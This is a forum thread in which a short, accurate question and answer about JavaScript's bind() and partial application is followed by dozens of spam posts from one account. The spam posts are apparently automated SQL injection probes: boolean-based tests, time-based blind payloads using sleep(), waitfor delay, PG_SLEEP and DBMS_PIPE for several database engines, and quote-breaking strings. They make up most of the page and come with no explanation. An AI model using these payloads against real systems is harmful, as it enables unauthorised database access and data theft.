Subham Mitra

Subham Mitra started this conversation 1 year ago.

How Do I Use `bind()` to Pass Additional Arguments to a Function?

I’m trying to use bind() to create a new function where I pass additional arguments to the original function, but I’m unsure if I’m doing it correctly. Here’s my code:

function greet(greeting, name) {
  console.log(`${greeting}, ${name}`);
}

const sayHelloToJohn = greet.bind(null, 'Hello', 'John');
sayHelloToJohn(); // Output: Hello, John

Shubham Chopra

Posted 1 year ago

You're using bind() correctly to pass additional arguments to a function. Here's how it works:

What bind() Does:

The bind() method creates a new function that, when invoked, has its this value set to the value provided as the first argument. Additionally, you can pass extra arguments to bind(), which are prepended to the arguments provided when the bound function is called.

In your case:

function greet(greeting, name) {
  console.log(`${greeting}, ${name}`);
}

const sayHelloToJohn = greet.bind(null, 'Hello', 'John');
sayHelloToJohn(); // Output: Hello, John

Explanation:

  • greet.bind(null, 'Hello', 'John'): This creates a new function with the this value set to null (since greet does not use this inside the function, this is fine), and it pre-fills the arguments greeting = 'Hello' and name = 'John'.
  • When you call sayHelloToJohn(), no additional arguments are needed because you've already supplied 'Hello' and 'John' through bind().

Example with Additional Arguments:

If you want to pass some arguments during the binding and others later when the function is called, you can do that too:

const sayHello = greet.bind(null, 'Hello');
sayHello('Jane'); // Output: Hello, Jane

Here, greeting is bound to 'Hello', and you can pass the name argument when you call the function.

Key Points:

  • First argument of bind(): Sets the this value, which is often null if you're not using this inside the function.
  • Subsequent arguments: Pre-fills the function with fixed values that get passed when the function is called.

This is useful for creating partially applied functions, like in your example where the greeting is pre-set, and you can reuse the function across different names.

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

-1 OR 2+336-336-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1 OR 3+336-336-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1 OR 2+655-655-1=0+0+0+1

fnfOzvSR

Posted 1 year ago

-1 OR 3+655-655-1=0+0+0+1

fnfOzvSR

Posted 1 year ago

-1' OR 2+326-326-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1' OR 3+326-326-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1' OR 2+505-505-1=0+0+0+1 or 'M9kGzd3B'='

fnfOzvSR

Posted 1 year ago

-1' OR 3+505-505-1=0+0+0+1 or 'M9kGzd3B'='

fnfOzvSR

Posted 1 year ago

-1" OR 2+881-881-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1" OR 3+881-881-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

555*if(now()=sysdate(),sleep(15),0)

fnfOzvSR

Posted 1 year ago

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

fnfOzvSR

Posted 1 year ago

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

fnfOzvSR

Posted 1 year ago

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

fnfOzvSR

Posted 1 year ago

555-1; waitfor delay '0:0:15' --

fnfOzvSR

Posted 1 year ago

555-1); waitfor delay '0:0:15' --

fnfOzvSR

Posted 1 year ago

555-1 waitfor delay '0:0:15' --

fnfOzvSR

Posted 1 year ago

555YYBXAr5F'; waitfor delay '0:0:15' --

fnfOzvSR

Posted 1 year ago

555-1 OR 673=(SELECT 673 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555-1) OR 977=(SELECT 977 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555-1)) OR 901=(SELECT 901 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555CWNZJl51' OR 469=(SELECT 469 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555qprIrFjQ') OR 67=(SELECT 67 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555mWr8QabX')) OR 468=(SELECT 468 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

fnfOzvSR

Posted 1 year ago

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555'"

fnfOzvSR

Posted 1 year ago

@@Yt1kX

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

-1 OR 2+308-308-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1 OR 3+308-308-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1 OR 2+635-635-1=0+0+0+1

fnfOzvSR

Posted 1 year ago

-1 OR 3+635-635-1=0+0+0+1

fnfOzvSR

Posted 1 year ago

-1' OR 2+301-301-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1' OR 3+301-301-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1' OR 2+832-832-1=0+0+0+1 or 'RhYvCo0j'='

fnfOzvSR

Posted 1 year ago

-1' OR 3+832-832-1=0+0+0+1 or 'RhYvCo0j'='

fnfOzvSR

Posted 1 year ago

-1" OR 2+671-671-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

-1" OR 3+671-671-1=0+0+0+1 --

fnfOzvSR

Posted 1 year ago

555*if(now()=sysdate(),sleep(15),0)

fnfOzvSR

Posted 1 year ago

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

fnfOzvSR

Posted 1 year ago

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

fnfOzvSR

Posted 1 year ago

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

fnfOzvSR

Posted 1 year ago

555-1; waitfor delay '0:0:15' --

fnfOzvSR

Posted 1 year ago

555-1); waitfor delay '0:0:15' --

fnfOzvSR

Posted 1 year ago

555-1 waitfor delay '0:0:15' --

fnfOzvSR

Posted 1 year ago

555QOEMKxmd'; waitfor delay '0:0:15' --

fnfOzvSR

Posted 1 year ago

555-1 OR 421=(SELECT 421 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555-1) OR 932=(SELECT 932 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555-1)) OR 87=(SELECT 87 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

5556eCuF6Xr' OR 273=(SELECT 273 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555AJ09p37j') OR 656=(SELECT 656 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555OJSKZqa7')) OR 758=(SELECT 758 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 1 year ago

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

fnfOzvSR

Posted 1 year ago

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

fnfOzvSR

Posted 1 year ago

555

fnfOzvSR

Posted 1 year ago

555'"

fnfOzvSR

Posted 1 year ago

@@UunZs

fnfOzvSR

Posted 1 year ago

555